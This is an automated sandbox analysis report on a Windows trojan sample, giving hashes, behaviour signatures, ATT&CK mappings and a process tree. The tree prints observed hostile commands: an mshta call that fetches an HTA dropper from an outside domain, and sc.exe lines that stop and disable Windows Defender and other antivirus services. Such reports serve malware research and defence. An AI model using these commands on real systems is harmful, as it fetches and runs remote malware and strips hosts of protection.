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Overview

overview

10

Static

static

3

4f0bc8c887...ee.exe

windows7-x64

10

4f0bc8c887...ee.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/08/2024, 13:45

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General

  • Target

    4f0bc8c887bae4211b8eccdbf08cc04645c08eacb4e0b0e94c511ebe50c9a3ee.exe

  • Size

    2.0MB

  • MD5

    a6dfa21610948c33426dd4cb689e060e

  • SHA1

    86d0f9265cbb7cb3eef70fd10fc25143fe1592ca

  • SHA256

    4f0bc8c887bae4211b8eccdbf08cc04645c08eacb4e0b0e94c511ebe50c9a3ee

  • SHA512

    bcef93060472971c961997fdea0ead573d01d8c81c6f29f19fe581df33220295650ce2574a97dbc034d7642db77450442585ca8e8982b9eb339a2ca4dead5635

  • SSDEEP

    49152:DCqEdrs/oMaIbycp34Kd9lz04CMxD23I4TsY5l264VfdHW9:Dkd4xIs9tcMye64Vfs9

Score
10/10
defense_evasiondiscoveryevasionexecutionpersistencetrojan

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://galaint.online-secure-pay.info/?0=112&1=1&2=1&3=33&4=i&5=9200&6=6&7=2&8=919041&9=1033&10=0&11=0000&12=njkvhbkmrs&14=1

Signatures

  • Disables service(s) 3 TTPs
    evasionexecution
  • UAC bypass 3 TTPs 3 IoCs
    evasiontrojan
  • Disables taskbar notifications via registry modification
    evasion
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs
    persistence
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Drops file in System32 directory 3 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • System policy modification 1 TTPs 4 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\4f0bc8c887bae4211b8eccdbf08cc04645c08eacb4e0b0e94c511ebe50c9a3ee.exe
    "C:\Users\Admin\AppData\Local\Temp\4f0bc8c887bae4211b8eccdbf08cc04645c08eacb4e0b0e94c511ebe50c9a3ee.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3580
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\46idba4mb3c6wsk.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\46idba4mb3c6wsk.exe" -e -ps10n43n4ttbw1yn
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1412
      • C:\Users\Admin\AppData\Local\Temp\RarSFX1\d4j2qm7zd0c38ni.exe
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\d4j2qm7zd0c38ni.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3324
        • C:\Users\Admin\AppData\Roaming\Protector-iqqk.exe
          C:\Users\Admin\AppData\Roaming\Protector-iqqk.exe
          4⤵
          • UAC bypass
          • Event Triggered Execution: Image File Execution Options Injection
          • Executes dropped EXE
          • Adds Run key to start application
          • Checks whether UAC is enabled
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          • System policy modification
          PID:1472
          • C:\Windows\SysWOW64\mshta.exe
            mshta.exe "http://galaint.online-secure-pay.info/?0=112&1=1&2=1&3=33&4=i&5=9200&6=6&7=2&8=919041&9=1033&10=0&11=0000&12=njkvhbkmrs&14=1"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:4428
          • C:\Windows\SysWOW64\sc.exe
            sc stop WinDefend
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:3468
          • C:\Windows\SysWOW64\sc.exe
            sc config WinDefend start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2036
          • C:\Windows\SysWOW64\sc.exe
            sc stop msmpsvc
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2200
          • C:\Windows\SysWOW64\sc.exe
            sc config msmpsvc start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:1600
          • C:\Windows\SysWOW64\sc.exe
            sc config ekrn start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:3960
          • C:\Windows\SysWOW64\sc.exe
            sc stop AntiVirService
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2880
          • C:\Windows\SysWOW64\sc.exe
            sc config AntiVirService start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:736
          • C:\Windows\SysWOW64\sc.exe
            sc config AntiVirSchedulerService start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:4884
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\D4J2QM~1.EXE" >> NUL
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

2
T1569

Service Execution

2
T1569.002

Persistence

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

2
T1543

Windows Service

2
T1543.003

Event Triggered Execution

1
T1546

Image File Execution Options Injection

1
T1546.012

Privilege Escalation

Abuse Elevation Control Mechanism

1
T1548

Bypass User Account Control

1
T1548.002

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

2
T1543

Windows Service

2
T1543.003

Event Triggered Execution

1
T1546

Image File Execution Options Injection

1
T1546.012

Defense Evasion

Abuse Elevation Control Mechanism

1
T1548

Bypass User Account Control

1
T1548.002

Impair Defenses

2
T1562

Disable or Modify Tools

1
T1562.001

Indicator Removal

1
T1070

File Deletion

1
T1070.004

Modify Registry

4
T1112

Credential Access

Discovery

Query Registry

1
T1012

System Information Discovery

3
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

2
T1489

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\46idba4mb3c6wsk.exe
    Filesize

    2.0MB

    MD5

    cbe96899d1e0db4d9d910d6f4c831782

    SHA1

    d0fa845fa7efae9c77e0067668f99dbc11ad887f

    SHA256

    b593450a23937e30b89b1f303d56d0c75fc7dc1996e9ea143d0d7c00196ff62d

    SHA512

    7291e8fb87b6ebd8872a50bbfbc38511f1aa2228e12be1ba05d00f32816881ef5c203488fbe50a9cdd96934f92037768b3b347888fa84113ce7f25a051cafe8c

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\RarSFX1\d4j2qm7zd0c38ni.exe
    Filesize

    1.9MB

    MD5

    1e0b71526162ab0c95a404aa31186d3b

    SHA1

    1e06e8b5a61cb2689a4b10b6ba970f1a01a20745

    SHA256

    7d644f20a247acfc6c0aaf0d76fcd82f2f28d99dbcb3227538a1914469d54ffa

    SHA512

    f23ea2b277862befbd1db50c97926d5c6d0334d8d97eaba998296a254c3363a9a7a048a6799c54c1957c6cef0dfcb2b1fa1058377a2d730ff06b844a5e6f86ce

    Download Submit

  • memory/1472-71-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/1472-67-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/1472-75-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/1472-34-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/1472-35-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/1472-65-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/1472-66-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/1472-22-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/1472-68-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/1472-70-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/1472-73-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/1472-72-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/3324-18-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/3324-24-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download